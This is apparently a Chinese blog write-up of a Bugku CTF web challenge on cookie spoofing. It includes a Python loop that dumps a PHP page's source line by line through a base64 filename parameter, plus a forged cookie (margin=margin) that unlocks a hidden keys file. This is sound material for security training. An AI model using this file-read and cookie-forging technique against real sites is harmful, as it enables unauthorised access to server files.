Bugkuctf web cookie欺骗

题目链接

又有新东西啦

打开
Bugkuctf web cookie欺骗_第1张图片发现没啥用,查看源码也没什么

注意到URL上有一串类似base64编码的东西

解码
Bugkuctf web cookie欺骗_第2张图片
习惯性访问一下

Bugkuctf web cookie欺骗_第3张图片Bugkuctf web cookie欺骗_第4张图片那下面又该咋办呢???
URL里filename有参数,line没有参数
要不试一试价格参数?

line=1,啥都没有

注意到filename 的参数是base64编码后的

那再把1,2,3编码一波试试?

Bugkuctf web cookie欺骗_第5张图片又回去了啥都没有。。。

懵逼中。。。

Bugkuctf web cookie欺骗_第6张图片看了一下别人的writeup
注意到一个逻辑

php解析的时候 line 表示的是行号,filename是对于文件内容的读取,所以,直接构造一个逻辑矛盾,让filename去读自己即读index.php

还是要编码一下,毕竟filename都是编码了的

于是
Bugkuctf web cookie欺骗_第7张图片显然随着line行数变化,代码也出来了

这里有两种方式

第一种自己一次输入行号,然后copy出来

第二种是用python写个小脚本出来,就个人而言,选择第二种好一些吧

附上脚本

import requests
a=30
for i in range(a):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    r=requests.get(url)
    print (r.text)

找到的代码

'keys.txt',
 
'1' =>'index.php',
 
);
 
 
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){      
 
$file_list[2]='keys.php';
 
}
//看看这个地方!!!
 
 
 
if(in_array($file, $file_list)){
 
$fa = file($file);
 
echo $fa[$line];
 
}
 
?>

代码相关函数
?是条件语句
intval()
函数用于获取变量的整数值
header()
函数向客户端发送原始的 HTTP 报头。这里是跳转到一个新地址
array()
创建一个新数组
file()
把文件读入数组

接下来构造
filename=a2V5cy5waHA=
Cookie:margin=margin
就行啦
Bugkuctf web cookie欺骗_第8张图片

你可能感兴趣的:(CTF)